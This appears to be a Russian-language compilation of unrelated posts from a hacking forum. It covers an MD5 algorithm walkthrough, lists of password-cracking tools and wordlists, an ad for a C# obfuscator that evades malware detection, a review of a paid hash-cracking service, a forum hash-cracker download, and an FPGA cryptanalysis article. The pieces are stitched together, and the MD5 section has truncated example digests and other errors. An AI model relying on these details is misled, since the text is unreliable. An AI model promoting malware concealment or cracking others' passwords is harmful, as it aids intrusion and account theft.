MD5 алгоритм используется в приложениях криптографии и электронно-цифровых подписей для генерации ключа шифрования. Алгоритм разработан, что бы быть достаточно быстрым на 32-битных системах и не требовать больших объемов памяти. MD5 является чуть более медленным, чем MD4, но является более устойчивым к криптографическим атакам. Далее под "словом" будет подразумеваться количество информации в 32 бита, а под "байтом" - 8 бит. Последовательность бит интерпретируется в естественной форме - как последовательность байт, где каждая группа из 8 бит является отдельным байтом, причём старший бит байта идет первым. Аналогично представляется последовательность байт, как последовательность слов, только младший байт идет первым. Предполагается, что в качестве входного потока имеется поток данных N бит. N - неотрицательное целое (возможно 0), не обязательно кратное 8. Для вычисления MD5 хэш-функции необходимо выполнить следующие 5 шагов.

Шаг 1: выравнивание потока.
Входной поток выравнивается так, что бы его длина стала конгруэнтной (сравнимой) с 448 по модулю 512. Выравнивание происходит следующим образом: к потоку добавляется один бит '1', а затем биты '0' до тех пор, пока длина потока не будет сравнима с 448 по модулю 512. Выравнивание происходит всегда, даже если длина потока была уже сравнима с 448 по модулю 512. Таким образом к потоку добавляется минимум 1 бит, максимум - 512.

Шаг 2: добавление длины.
64 битное представление длины входного потока (длины потока до выравниваия) добавляется к результату предидущего шага. Если длина потока превосходит 2^64, то добавляются младшие 64 бит. Эти биты добавляются как 2 32-битных слова, младшее слово добавляется первым. Таким образом на этом шаге длина потока становится кратной 512 битам или 16 32-битным словам. Далее будем рассматривать входной поток как массив M[0 ... N-1] слов длиной N.

Шаг 3: инициализация MD буфера.
Буфер из 4 слов {A, B, C, D} используется для вычисления хэш функции, который инициализируется в следующие значения:

A = 0x67452301
B = 0xEFCDAB89
C = 0x98BADCFE
D = 0x10325476

Шаг 4: обработка потока блоками по 16 слов.
Определим четыре вспомогательные функции, каждая из которых принимает три параметра размеров в слово и производит результат - слово.

F(x, y, z) = (x & y) | (~x & z)
G(x, y, z) = (x & z) | (y & ~z)
H(x, y, z) = x ^ y ^ z
I(x, y, z) = y ^ (x | ~z)

Напомним, что & - побитовое И, | - побитовое ИЛИ, ^ - побитовое исключающее ИЛИ, ~ - побитовое отрицание. Функция F для каждого бита дает следующий результат: если X, то Y, иначе Z.
На этом шаге также используется таблица T[1..64], которая построена с помощью функции синуса:
T = int(4294967296 * abs(sin(i))), где int() - целая часть. Например:
T[1] = int(4294967296 * abs(sin(i))) = int(3614090360,282...) = 3614090360.
Также следует определить операцию x <<< y, как циклический сдвиг x влево на y бит. Теперь рассмотрим сам алгоритм вычисления MD5 хэш функции.

// обработать входной поток блоками по 16 слов

for i = 0 to N/16 - 1 do
{

// копировать блок i в X

for j = 0 to 15 do
X[j] = M[i * 16 + j]

// Сохранить значения A, B, C, D

AA = A
BB = B
CC = C
DD = D

// проход 1
// пусть [abcd k s i] обозначает операцию
// a = b + ((a + F(b, c, d) + X[k] + T) <<< s)
// исполнить 16 следующих операций

[ABCD 0 7 1] [DABC 1 12 2] [CDAB 2 17 3] [BCDA 3 22 4]
[ABCD 4 7 5] [DABC 5 12 6] [CDAB 6 17 7] [BCDA 7 22 8]
[ABCD 8 7 9] [DABC 9 12 10] [CDAB 10 17 11] [BCDA 11 22 12]
[ABCD 12 7 13] [DABC 13 12 14] [CDAB 14 17 15] [BCDA 15 22 16]

// проход 2
// пусть [abcd k s i] обозначает операцию
// a = b + ((a + G(b, c, d) + X[k] + T) <<< s)
// исполнить 16 следующих операций

[ABCD 1 5 17] [DABC 6 9 18] [CDAB 11 14 19] [BCDA 0 20 20]
[ABCD 5 5 21] [DABC 10 9 22] [CDAB 15 14 23] [BCDA 4 20 24]
[ABCD 9 5 25] [DABC 14 9 26] [CDAB 3 14 27] [BCDA 8 20 28]
[ABCD 13 5 29] [DABC 2 9 30] [CDAB 7 14 31] [BCDA 12 20 32]

// проход 3
// пусть [abcd k s i] обозначает операцию
// a = b + ((a + H(b, c, d) + X[k] + T) <<< s)
// исполнить 16 следующих операций

[ABCD 5 4 33] [DABC 8 11 34] [CDAB 11 16 35] [BCDA 14 23 36]
[ABCD 1 4 37] [DABC 4 11 38] [CDAB 7 16 39] [BCDA 10 23 40]
[ABCD 13 4 41] [DABC 0 11 42] [CDAB 3 16 43] [BCDA 6 23 44]
[ABCD 9 4 45] [DABC 12 11 46] [CDAB 15 16 47] [BCDA 2 23 48]

// проход 4
// пусть [abcd k s i] обозначает операцию
// a = b + ((a + I(b, c, d) + X[k] + T) <<< s)
// исполнить 16 следующих операций

[ABCD 0 6 49] [DABC 7 10 50] [CDAB 14 15 51] [BCDA 5 21 52]
[ABCD 12 6 53] [DABC 3 10 54] [CDAB 10 15 55] [BCDA 1 21 56]
[ABCD 8 6 57] [DABC 15 10 58] [CDAB 6 15 59] [BCDA 13 21 60]
[ABCD 4 6 61] [DABC 11 10 62] [CDAB 2 15 63] [BCDA 9 21 64]

A += AA
B += BB
C += CC
D += DD
}

Шаг 5: вывод MD5.
Результат вычисления (хэш) представлен четырьмя 32 битными словами -A, B, C, D (младшим записывается A, старшим - D). 128-битный MD5 хэш готов!
Примеры:
"a" - cc175b9c0f1b6a831c399e269772661
"abc" - 90150983cd24fb0d6963f7d28e17f72
"123456789012345678901234567890123456789012345678901234567890123456 78901234567890" - 57edf4a22be3c955ac49da2e217b67a

Разновидности MD5

На сайте www.insidepro.com представлен генератор хэшей. Здесь же описаны разновидности MD5:
- MD5
- MD5 (HMAC)
- MD5 (Base64)
- MD5 (Unix)
- MD5 (APR)
Теперь коротко о каждом их них:
MD5 - собственно статья ему посвящена.

MD5 (HMAC) - открываем RFC 2104 и читаем:
HMAC - Keyed-Hashing for Message Authentication (хэширование с ключом для аутентификации сообщения) - то есть это хеширование входного сообщения M с некоторым ключём K, что позволяет аутентифицировать подпись.
Общая формула HMAC:
HMAC = h (K XOR opad, H(K XOR ipad, text))
Здесь:
ipad - строка-константа, представляющая собой байт 0x36, написанный 64 раза подряд
opad - строка-константа, представляющая собой байт 0x5c, написанный 64 раза подряд

MD5 (Base64) - хеш MD5 закодированный алгоритмом Base64

MD5 (Unix) - это цикл на тысячу вызовов стандартного MD5. В своё время авторы Unix решили немного изменить формат записи хэша, вследствие чего в нём появились символы "$", "." и "/"

MD5 (APR) - фактически тот же MD5 (UNIX), только с дрогой привязкой (SALT-ом) и другим форматом - $apr.

Программы и исходные коды для генерации MD5

Платформа Ссылка
Apple IIgs http://hashtool.gwlink.net/
C http://src.openresources.com/debian/src/ba....0.23.2/md5sum/
http://sourceforge.net/project/showfiles.php?group_id=42360
С#/.NET [http://msdn.microsoft.com/library/default....ryptography.asp](http://msdn.microsoft.com/library/default.asp?url=/library/en- us/cpref/html/frlrfSystemSecurityCryptography.asp)
Delphi http://www.fortunecity.com/skyscraper/true...iComponents.htm
Java http://java.sun.com/j2se/1.4.2/docs/api/ja...sageDigest.html
http://www.freevbcode.com/ShowCode.Asp?ID=741
Javascript http://pajhome.org.uk/crypt/md5/md5src.html
http://www.frez.co.uk/freecode.htm#md5
Lua http://www.inf.puc-rio.br/%7Eroberto/md5/md5-5/md5.html
Lotus Script http://wwwendt.de/tech/md5/index.html
Macromedia Director http://www.mediamacros.com/item/item-1006687189/
masm32 http://spiff.tripnet.se/%7Eiczelion/files/md5asm.zip
Miva http://mivo.truxoft.com/art0037.htm
MySQL http://dev.mysql.com/doc/mysql/en/encryption-functions.html
Perl5 http://www.perldoc.com/perl5.8.0/lib/Digest/MD5.html
PHP http://www.php.net/manual/en/function.md5.php
PostgreSQL [http://www.postgresql.org/docs/current/sta...ons- string.html](http://www.postgresql.org/docs/current/static/functions- string.html)
Python http://www.python.org/doc/current/lib/module-md5.html
REBOL http://www.rebol.com/docs/words/wchecksum.html
REXX http://www.srehttp.org/apps/rexx_md5/
Scheme http://www.scheme.dk/md5/
TCL http://tcllib.sourceforge.net/doc/md5.html
Visual Basic http://www.esquadro.com.br/md5bas.zip

Программы

PasswordsPro - возможно, лучшая программа для генерации и восстановления MD5 и других хешей. Поддерживает работу с 23 видами хэш-функций.
http://www.insidepro.com/rus/passwordspro.shtml

HashCalc - это приложение для Microsoft Windows 9x, NT, ME, 2000 и XP, позволяющее генерировать 13 видов хэшей как от файла, так и от текстового сообщения
http://www.slavasoft.com/hashcalc/index.htm

MD5summer - это приложение для Microsoft Windows 9x, NT, ME, 2000 и XP, позволяющее генерировать и проверять контрольные суммы md5. Выходной файл программы совместим с выводом Linux GNU MD5Sum, MD5summer также может читать файлы, сгенерированные в Linux. Программа выпущена под лицензией General Public License, доступен исходный код.
http://ftp.citkit.ru/pub/sourceforge/m/md/md5summer/?M=D

RapidCRC - это Windows-программа для проверки и расчета контрольных сумм CRC32 и MD5, поддерживающая файлы SFV и MD5. Имеется механизм включения суммы CRC32 в имя файла (распространено в выпусках аниме, например "MyFile [45DEF3A0].avi"). Разработчики ставили цель создать наиболее быстрые реализации алгоритмов контрольных сумм (на ассемблере) с открытым исходным кодом. В пакет RapidCRC входят:
CRC32: реализация на ассемблере для i386 (побайтовый табличный поиск)
MD5: реализация OpenSSL MD5 на ассемблере для i386
MD5: точная реализация описания RFC (работает медленно, доступна для компиляции, но не входит в релиз RapidCRC)
http://rapidcrc.sourceforge.net/

dupliFinder - это графическая утилита для поиска дублирующихся файлов в директориях на компьютере путем сравнения их контрольных сумм MD5. Это означает, что сравнивается содержимое файлов, а не имя. Когда одинаковые файлы найдены, их можно просмотреть и удалить. Хорошо подходит для поиска одинаковых MP3, картинок или фильмов. Программа написана на Java 1.5 и работает под Windows и Linux.
http://mwynwood.com/blog/?p=99

Взлом MD5

На данный момент доступны три вида взлома хэшей MD5:
Метод перебора по словарю
Brute-force
RainbowCrack

Для перебора по словарю или брутфорса подойдут программы PasswordsPro (http://ftp.citkit.ru/pub/sourceforge/m/md/md5summer/?M=D)
MD5BFCPF (http://md5bfcpf.sourceforge.net/)
Join The Ripper (http://www.openwall.com/john/)

Словари для брутфорса можно взять отсюда:
http://www.phreak.com/html/wordlists.shtml
ftp://ftp.cerias.purdue.edu/pub/dict/
ftp://ftp.funet.fi/pub/unix/security/dictionaries/
ftp://ftp.ox.ac.uk/pub/wordlists/

Относительно новый вариант взлома хэша - RainbowCrack - основан на том, что генерируется большое количество хешей от заданного надора символа и потом произваодится поиск заданного хэша по вычисленной базе. Как правило даже на мощных машинах генерация хэшей занимает недели, зато последующий взлом производится за считанные минуты. Примерами использования Rainbow-таблиц служат следующие сайты: http://passcrack.spb.ru
http://passcracking.ru
http://Ahazu.com
http://md5crack.it-helpnet.de
http://cmho.tk
http://Plain-Text.info
http://gdataonline.com
http://hashchecker.com
http://gdataonline.com/seekhash.php
Однако можно и самому сгенерировать Rainbow-таблицы. Проект находиться по адресу: http://www.antsight.com/zsl/rainbowcrack/ Здесь же есть и подробное описание на английском о том как всё это сделать.

Заключение

Что ж, алгоритм MD5 служивший верой и правдой в течении долгих лет теперь не оправдывает себя, и любой желающий может взломать пароли длиной 8 символов и состоящих из алфавита [A-Z], [a-z], [0-9] и спецсимволов методом Rainbow- таблиц на проектах, ссылки на которые даны выше. При большей длине пароля можно сгенерировать соответствующих размеров Rainbow-таблицу и пользоваться ею. Поэтому так и хочется прокричать: ПОЛЬЗУЙТЕСЬ ДЛИННЫМИ ПАРОЛЯМИ!! И вас не поломают. =)

Автор: SelF | 98897789

Старый но рабочий обфускатор C# (детекты прячет).
ID: 676536fbb4103b69df373889
Thread ID: 32447
Created: 2019-10-12T13:06:02+0000
Last Post: 2020-12-31T16:35:06+0000
Author: ViCode
Replies: 32 Views: 7K

Старый, работает, хорошо малварь прячет. советую в связке с другими обфускаторами.
Склеек нет. Ручаюсь своей головой.

1570885460391.png

You must have at least 1 reaction(s) to view the content.

cmd5.ru
ID: 676536fbb4103b69df3738fd
Thread ID: 20251
Created: 2010-09-07T20:32:20+0000
Last Post: 2010-09-12T17:34:08+0000
Author: Ar3s
Prefix: Статья
Replies: 4 Views: 7K

Здравствуйте уважаемые мемберы xss.is/!
Вновь я взялся за перо написания. Вынул его из далекого ящика, стряхнул "пыль веков", макнул в чернильницу и началось.

---===Описательная часть===---

Собственно, вопрос повестки дня - рассмотрение нового на нашем форуме сервиса http://www.cmd5.ru/

Итак приступим.
Заходим на http://www.cmd5.ru, оцениваем. Интерфейс не фонтан, но нам с вами рюшечки и не нужны.
В первую очередь я по старой привычке лезу в раздел Тарифы http://www.cmd5.ru/password.aspx
Что мы с вами видим - видим два варианта развития событий.
1. Online Service - чек по существующим базам паролей.
Поддерживаются следующие виды хэш кодов: md5, md5(md5($pass)), sha1, md4, mysql, mysql5, qq hash, serv-u,
md5($pass.$salt), md5($salt.$pass), md5(md5($pass).$salt), md5(md5($salt).$pass), md5($salt.$pass.$salt),
md5($salt.md5($pass)), md5(md5($pass).md5($salt)), md5(md5($salt).md5($pass)), sha1($username.$pass)

2. Background Service - брут заданного вами хэша на заявленном кластере. Громко сказано насчет кластера. Мы позже попробуем уточнить так ли это?
Поддерживаются различные варианты md5 mysql sha1.
Рис.3

Смотрим цены:
Online Service для некоторых видов хэшей бесплатен. Оплата не взимается для следующих комбинаций:

1. Длина 1-5 бит. Символы: [0-9a-zA-Z]
2. Длина 6 бит. Символы: [a-z]
3. Длина 7 бит. Символы: [0-9]
4. Длина 8 бит. Символы: [0-9]

Это конечно же приятно. Но всего 5 символов на пароли в базах :( Жаль.
Далее:
Online Service
4 hash 1000 hash 50000 hash 1000000 hash
4$ 20$ 200$ 1000$

Background Service
2 hash 50 hash 1000 hash
2$ 20$ 100$

Ну, тут все ясно. Цены вполне приятные. Самый хилый расклад - 1 пасс = 1$ для любого типа услуг, но с поправкой на то, что при использовании брута нет гарантий на успех.
Разница в скидках тоже ясна и политика сервиса тоже. Чек по базе - это одно, а нагрузка на серваки для брута - это совсем другое. Вообщем вполне приемлемо. т.к. при бруте локальной машиной больше бабла заплатишь за электричество. Да и комп постоянно занят будет.

Но политика сервиса неоднозначна в плане платежей. Ну, нужно мне, допустим, 5 паролей подобрать (допустим все с первого раза), получается я должен за них 20$ заплатить? При таком раскладе цена пароля не один бакс, а четыре!!! Неправильно на мой взгляд. "Скок хочу - сток ложу" - это правильнее было бы, на мой взгляд + система бонусов.

Далее мы регистрируемся. Регистрация занимает ровно 20 секунд. Никаких подтверждений и сложных паролей. Я зарегился с пассом 123123.
Ну да и пофиг. Я же надеюсь, что никто не будет брутить мой акк? Ну или будут? Вот интересный вопрос, а как скрипт авторизации относится к бруту?

Лезу проверять все что заявлено и тут же нахожу парадокс:
на главной странице можно чекать хэши поштучно, и есть групповой чек.
А типы хэшей разнятся. Рис.1 и Рис.2
Ну почему руками я могу пробить хэш практически любого формата, а копипастом листа нет?

Ладно, на все эти мелочи можно закрыть глаза, если сервис покажет себя с лучшей стороны в работе.
Приступим ка мы лучше к тестам.

---===Тесты===---
Для анализа мы возьмем пароли различного уровня сложности и разных форматов:
root - самый простой (4 символа в нижнем регистре)
12227000 - цифровой (8 цифр)
t00r mega - смешанный букво-циферный + пробел, 9 символов. (1 пробел, 2 цифры, 6 символов нижнего регистра)
AdM1ncH3gg1247 - смешанный букво-циферный 14 символов в разном регистре (5 цифр, 3 буквы в верхнем регистре, 5 букв в нижнем регистре)
$aL0 BbIl0 TUT* - смешанный букво-циферный, со спецсимволами. 15 символов (2 спецсимвола, 2 пробела, 2 цифры, 2 символа в нижнем регистре, 6 символов в верхнем регистре)
адидас - простой пароль, но на русском языке.

Итак конвертить будем при помощи passwords pro. Тестить будем на md5, double md5, sha1, mysql5 массовым чеком.

md5
63a9f0ea7bb98050796b649e85481845 - найден
bfac3193e9e16cbe8605350433999c1a - найден
6cf1cc8d94add3f076f069643b48dc73 - не найден
882ee12fe082589a9441ffef69fa34db - не найден
dba976f5c4c5bd66fca0b8e5531c086a - не найден
df64dc2eb4a0b85091dd31eb4923eaac - найден*
Рис.4

  • Пароль на кириллице был найден, но вместо ответа были выданы вопросики. Решил протестить через главную страницу. Ввел пароль, мне сказали что пароль в базе найден и предложили купить его. Нажал кнопку купить и вновь увидел вопросики... Это что за приколы?

double md5
b9be11166d72e9e3ae7fd407165e4bd2 - найден*
1f3b36e025b5c356463f586def7ed403 - не найден
606bc8d3451b40a4d6c5adcbccf1119e - не найден
ba3d71b14d4d63ab745721f3c1a97247 - не найден
781dbd0e6f8bbc0d8e68c4d316012a84 - не найден
0a24a3c37af9b1abe5b157d7082c0af0 - не найден
Рис.5

  • вместо пароля мне показало его хэш первого уровня... Взял хэш, перекинул его в первое поле и изменил условие поиска, только после этого получил результат... Рис.6

sha1
dc76e9f0c0006e8f919e0c515c66dbba3982f785 - не найден
28a7df57d0cd745decfefe396b8884256ecc03a6 - не найден
5c35190c23dc2fafac8a9d551e45c95b4e881361 - не найден
aece4055e2ac9a9a61b52c0f2f8009eb1794667b - не найден
7cb891cc0ad556a88685970290d4e475a1bf885b - не найден
00026b85ea15a4c308623a853ece6a5211a2f731 - не найден
Рис.7

mysql5
81f5e21e35407d884a6cd4a731aebfb6af209e1b - найден
fac48d7e572c78d4aaf44711832af1b482e67968 - найден
a1b5dfe04a6fc76d669ff63bfc5cfcc6932fad5b - не найден
25e5903bd16fd4db6ff69fe939276440dbe5b0e8 - не найден
d135a257f91faad97092bd94b255f3d0abc07f81 - не найден
ce6b71f2c47b3051c478398503905cb6be7da47e - найден
Рис.8

Походу теста возник вопрос, если я брутил пароль, и сбрутил его, в их базы добавляются все возможные хэши пароля или только искомый? Спросим позднее об этом представителя сервиса...

Ладно. Осталась надежда на "кластер". Попробуем сбрутить.
Берем не найденные пароли из каждого захода:
md5 - принято к бруту 3 пароля. Рис.9
double md5 - к бруту принято лишь три пароля. Рис.10 Предложили два проверить на главной. И о чудо!!! С главной я получил результат за $. Почему тогда при массовом чеке результата не было???
sha1 - -//- Рис.11
mysql5 - -//- Рис.12

Я тут в одном тесте промазал и вместо mysql оставил sha1. Сервис не говоря ни слова принял их к бруту и скушал деньги с баланса. И тут я начал считать длину хэшей. В обоих случаях по 40 символов. Но в описании есть строки о том, что SHA1 пишется только в нижнем регистре, а mysql5 только в верхнем. Поиск по хэш-генераторам в сети четкого ответа не принес т.к. при генерации оба хэша показывались в нижнем регистре. И как различить два вида хэша я в данном случае не знаю.
Ждем итогов брута...

Результаты плачевны. Пароли не подобрало. Рис.13

И тут вылез еще один косяк. Мой любимый passwords pro оказался муда**м. Он оказывается с великим и могучим не дружит ни разу.
Слово адидас по онлайн сервисам http://xss.is/index.php?act=toolz и http://fredomkb.free.fr/testdirlist/text2md5.php имеет совершенно другой хэш.
69a11ac70caf7427c78ec34d21c5d313. А хэш использованный ранее реально принадлежит "?????" (пяти вопросам подряд), таким образом придется начинать этот тест сначала.
Пришлось перечекать это слово заново. Итог изменился не в лучшую сторону. Такого слова в базах нет. Рис.14
Поставил на брут новый хэш. А вдруг сбрутит...

Результаты брута ничего не изменили. Искомые пароли не найдены. Ни в латинских, ни в кириллической раскладке. Рис.13

---===Тест2===---
Ну бог с ним. Допустим во мне где-то живет злой админ и генерит страшные и сложные пароли. Лезем в сеть и находит самые часто используемые пароли:
letmein - top100
ncc1701 - top200
jasper - top300
redskins - top400
mistress - top500
(по статистике сайта http://qtxt.ru/500passwords)

md5 - Найдены все. Рис.15
double md5 - 1 и 3 пароли типа были в базе, но вместо пароля мне показало хэш первого уровня.
sha1 - совпадений при групповом чеке найдено не было.
mysql5 - совпадений при групповом чеке найдено не было.

Проверяем с учетом найденной баги через главную эти же пароли:
letmein - md5 - найдено
ncc1701 - sha1 - найдено
jasper - MySQL5 - найдено
redskins - double md5 - найдено
mistress - md4 - не найдено. Отправляем на перебор - успешно! Рис.16

---===Тест3===---
Я достаточно требователен был к этому сервису. Мне все хотелось магического исполнения моих желаний и никоим образом не облома.
Перечитав более внимательно параметры брута я сократил сгенеренные мной пароли до 8 циферно-буквенных, но они не массовые, я их сгенерил слепым двухпальцевым методом. :)
А то из всех возможностей системы я использовал только эту:
"1-15 бит другие данные Частично включено >28000 миллиардов и 1-20 бит Уникальный словарь 900G > 910 миллиардов"

Покурил условия еще раз. Поматерился. Потребовал у представителя выделить их красным и жирным...
Для 32-бит MD5 перебор осуществляется по комбинациям случайных символов длиной 1-7 бит, символов нижнего и верхнего регистра из 1-8 бит, символов нижнего регистра и цифр из 1-9 бит, а также комбинаций цифр длиной 12 бит.
Для всех остальных типов хэшей перебор осуществляется по комбинациям символов нижнего регистра и цифр длиной 1-9 бит с использованием уникального словаря объемом 200Gb.
т.к. я юзал double md5 и SHA1 - пришлось еще и верхний регистр убрать.

Проверяем повторно брутилку.
ставим 2 пароля в md5, два в double md5 и два в sha1.

md5
h8g6fg0h7 - 2db4e3a3bdf3b3b7e81fe5df04034941 - подобрало
Wq64aU08 - fefd5b8c678ac57558635087c50ef1f0 - подобрало
247500854976 - 2bbe31ca8697161ca2eab34a9d6ee9c8 - подобрало (я ради эксперимента поставил этот же пасс брутиться на своей локальной машине. Использовал passwords pro. Заведомо зная что там только цифры - поставил в условиях брутить только цифры. Длина пароля 1 -12 бит. В иттоге на рабочем семпроне-8450 время брута чуть больше двух суток показало. Сервис же справился минут за 5. Очень даже неплохо.)

SHA1
4i50sq06h (генерированный) - dd79d461fecc01d363964fee3100dbcf85cec18f - не подобрало
lalarab6 (человекоподобный) - 47e69b5552142bd7bebe6446c4b1da19cac9f087 - не подобрало

MySQL5
mn8s7258 (генерированный) - a24987b7e87de0e3ff77e959619a2dabd1f9343a - не подобрало
jafopox1 (человекоподобный) - 88cb5e70e92b3c1aed988647c0fe63de7048d57f - не подобрало

---===Часть моей переписки с автором:===----
Вопрос: Сколько вы уже "на рынке"?
Ответ: На Российском нисколько. На Европейском и Китайском с 2006.

Вопрос: Сколько человек трудится над проектом?
Ответ: Над проектом работает 4 человека.

Вопрос: Вы писали про кластер. Что имеется ввиду? Несколько компов у вас дома, несколько серверов в одном дата-центре или несколько серверов по всему миру разбросанных? Раскройте секрет ПО используемого на ваших серверах, это самописный софт или хитрым образом объединенные наработки opensource? Брутится за счет CPU/GPU?
Ответ: Проект русско-немецко-китайский. Вычислительный центр расположен в Китае. Кластер построен на 10 серверах с использованием open-source технологий apache hadoop. Расположен в одном ДЦ. В Online service ключевую роль играет HBase, позволяющая быстро работать с такими объемами данных. В Background service используется самописное ПО использующее возможности GPU.

Вопрос: Почему в групповой отбаботке типов хэшей меньше чем в одиночной?
Ответ: В групповую обработку были добавлены часто используемые типы хэшей. Но в вашем вопросе вижу смысл, можно и добавить. Правда мне кажется мало кто группой обрабатывает md5(md5($salt).md5($pass)).

Вопрос: Почему политика именно на определенное количество проверок и оплат? Если мне хочется закинуть 27$ - я не могу этого ессно сделать.
Ответ: Чисто маркетинговый ход.

Вопрос: Как только сбрутили пасс, его хэши сразу попадают в вашу базу? Во всех различных вариантах или только в том, в котором был сбручен?
Ответ: Да сразу.
Вопрос: Меня больше интересует вторая часть вопроса. Все возможные хэши попадают в ваши базы или только тот, который брутился.
Ответ: Нет. В данный момент только одного типа, который искали.

Вопрос: Используются ли кирилические символы при бруте?
Ответ: Нет. Мы не поддерживаем кириллицу ввиду различных видов кодировок. Также как и все крупные проекты, использующие хэширование.

Вопрос: Зачем было писать отдельный софт под net framework? Это можно было на php все оформить.
Ответ: Ну если я правильно вас понял, то на серверной стороне групповой взлом хэшей и так реальзован в виде групповой обработки. А framework сделан для того, чтобы предоставить пользователю, при необходимости, возможность удаленной работы. Я согласен с тем что софт вызывает подозрение, но система без него самодостаточна и не обязывает им пользоваться. Я считаю что со временем постоянным пользователям будет удобно им пользоваться.

---===Вместо эпилога===---
Сервис очень хорош в поиске md5. База довольно обширна, 200GB лист - это впечатляет. Цены приятные. Брут очень шустрый и подбирает правильно.

Что же касается НЕ md5 - тут все несколько хуже. Брут крайне ограничен длиной и сложностью пароля. Базы не особо помогают в этом деле.

Что касается ошибок в работе интерфейса - о них было сообщено представителю сервиса. В настоящее время все они были оперативно исправлены и сервис работает как нужно. Что можно посчитать плюсом в отношении оперативности персонала.

p.s. А вообще - остался в принципе доволен работой сервиса. Основную функцию он тянет на ура. А вот уже всякие мои закидоны не удастся уместить ни в одной базе данных. Пользователям сервиса и читателям этой статьи хочу напомнить, что брут вашего замысловатого пароля штатным компом затянется очень надолго, а зайдя на сервис вы можете бесплатно узнать есть ли такой пароль в их базе и только после этого оплатить покупку. Разве не удобно? (А сам сижу и вспоминаю как ночами брутил пароли, а комп мешал спать... Киловатты потраченного электричества...)
Хочется так же отметить высокую реакцию саппорта и хорошее самообладание. Я в процессе тестов часто провоцировал нестандартные ситуации. Результат реакции всегда был доброжелательным и подробным.

IPB Hash Cracker
ID: 676536fbb4103b69df373936
Thread ID: 8433
Created: 2006-05-13T23:38:12+0000
Last Post: 2006-05-15T08:08:16+0000
Author: Winux
Replies: 10 Views: 6K

![](/proxy.php?image=http%3A%2F%2Fnews.xss.is%2Fhash- crack_IPB.gif&hash=b2fc5c991b80a2e78ed756190b5158f0)
IPB Hash Cracker - скрипт для взлома хашей форума IPB. Наверно всем известна стремная аналомия данного движка. Данный скрипт поможет расшифровать хэш от этого движка. Скрипт написан на php. Качайте и сами все поймете.[New$paN]
:zns5: Скачать|Download

Нужна помощь в решении нестандартной задачи, оплата хорошая
ID: 676536fbb4103b69df373718
Thread ID: 123197
Created: 2024-09-21T00:30:41+0000
Last Post: 2024-12-18T00:50:59+0000
Author: exk8p
Replies: 42 Views: 6K

Приветствую.
Есть самодельная задача, в которой зашифрован пароль от ключа gpg. Тут можно посмотреть обсуждение чего-то похожего по смыслу (клир):

![crypto.stackexchange.com](/proxy.php?image=https%3A%2F%2Fcdn.sstatic.net%2FSites%2Fcrypto%2FImg%2Fapple- touch- icon%402.png%3Fv%3Dfff48bebc5fd&hash=711aa15300bd7265edcff88c6f4fc77e&return_error=1)

[ Encrypt password for oneself on paper

](https://crypto.stackexchange.com/questions/54318/encrypt-password-for- oneself-on-paper)

Assume the following: You have to encrypt a file (ZIP-file) containing import information. This file should be password-protected and you want to leave yourself the password encrypted (on paper, m...

crypto.stackexchange.com crypto.stackexchange.com

Полное описание достаточно объемное, поэтому вкратце: в задаче используются хэши, полученные в консоли linux (sha512sum|base64; вывод в консоли на 3 строки). Определено, что значение имеют определенные позиции на этих хэшах. Часть этих позиций определена. Во вложении изображение одного из шагов для наглядности.
Все необходимые для решения вводные есть, т.е. нет неизвестных деталей, проблема только в определении дальнейшей логики. Логика должна быть определяема и восстановима.

Оплата за решение 50к$, гарант. Оплата обсуждается, также можно обсудить такие варианты как частичное решение, помощь в определении следующего шага и т.п.
Полное описание задачи пришлю в ЛС.

Ускорение криптоанализа при помощи вычислительных систем на ПЛИС
ID: 676536fbb4103b69df373739
Thread ID: 83624
Created: 2023-03-11T22:29:31+0000
Last Post: 2024-10-07T11:27:47+0000
Author: gliderexpert
Prefix: Статья
Replies: 34 Views: 6K

Прямо сейчас ведется война в информационном пространстве, затрагивающая каждого пользователя, участвующего в обмене данными. По одну сторону находятся шифровальщики, эксперты по защите данных — которые работают над обеспечением конфиденциальности - начиная с личных данных и заканчивая «закрытием» информации, представляющей интерес в рамках национальной безопасности.

С другой стороны — хакеры, политическая оппозиция и недружественные государства — используют все более сложные методы получения доступа к казалось бы, хорошо защищенным данным.
Оружием в этой войне, для обеих сторон - является вычислительная мощность — берущая начало с электромеханических компьютеров наподобие Энигмы времен второй Мировой, проходящее через эпохи вычислений на CPU, графических адаптерах - и заканчивающаяся решениями 21 века - аналогичными по силе атомной бомбе — реконфигурируемыми вычислителями на микросхемах ПЛИС.

Криптография — требующая большой скорости обработки данных для создания и взлома устойчивых математических алгоритмов — была одной из важнейших движущих сил в развитии вычислительных машин на протяжении более 70 лет . На самом деле, технология — применяющаяся в современных компьютерах — основана на исследованиях, проведенными пионерами в вычислительном криптоанализе, такими как Алан Тьюринг, Клод Шеннон, и их коллегами — во время Второй мировой войны.
В современную эпоху проводной и беспроводной связи, криптографические исследования вновь приводят к ускорению прогресса в вычислительной технике. Чем больше передается через средства коммуникаций «чувствительных» данных — тем больше интерес к ней по обе стороны баррикад — хакеры стремятся расшифровывать информацию быстрее, а специалисты по информационной безопасности — применяют все более ухищренные алгоритмы шифрования. Как результат — и тем, и другим — требуются мощные вычислители для решения их задач.

Сегодня я расскажу, как криптографические вычисления могут быть ускорены при помощи кластеров, собираемых из широко доступных программируемых логических микросхем — сокращенно ПЛИС или FPGA по англ.
Алгоритмы, которые используются для взлома большинства механизмой защиты данных — требуют больших вычислительных мощностей и длительного времени, посколько фактически решают задачу перебором пароля методом «грубой силы». И, если короткий пароль — можно взломать за несколько минут на обычном персональном компьютере, то перебор длинного пароля, может занять десятки и даже сотни лет итеративных вычислений.
В последние годы получило широкое развитие использование видеокарт в качестве ускорителей для криптоанализа. Эти устройства, благодаря своим структурам — могут обеспечить параллельный запуск множества n расчетных модулей, что ускоряет взлом пароля так же в n раз.
Благодаря наличию таких средств разработки как OpenCL и CUDA — использование мощности графического адаптера для вычислений, доступно любому программисту.

Но — видеокарты изначально разработаны для обработки графики, поэтому довольно плохо оптимизированы для параллельных вычислений, таких как перебор хешей.
В частности, многие алгоритмы потокового (побитового) шифрования — DES, SAFER (используется в bluetooth), семейство A5 — A5/1, A5/3 (шифрование мобильной телефонии) и другие - не поддаются эффективной реализации ни на CPU, ни на GPU.
Второй существенный недостаток GPU — высокое энергопотребление. Графические процессоры обеспечивают существенное ускорение вычислений, но обратная сторона — киловатты потребляемой мощности.

Вычислительные кластеры на ПЛИС — альтернативное решение, лишенное этих недостатков.

ПЛИС — это программируемая микросхема для создания цифровых логических схем. При этом логическая структура не заложена на заводе, как в cpu или gpu — а задается программистом в специальных средствах проектирования, таких как ISE или Vivado.

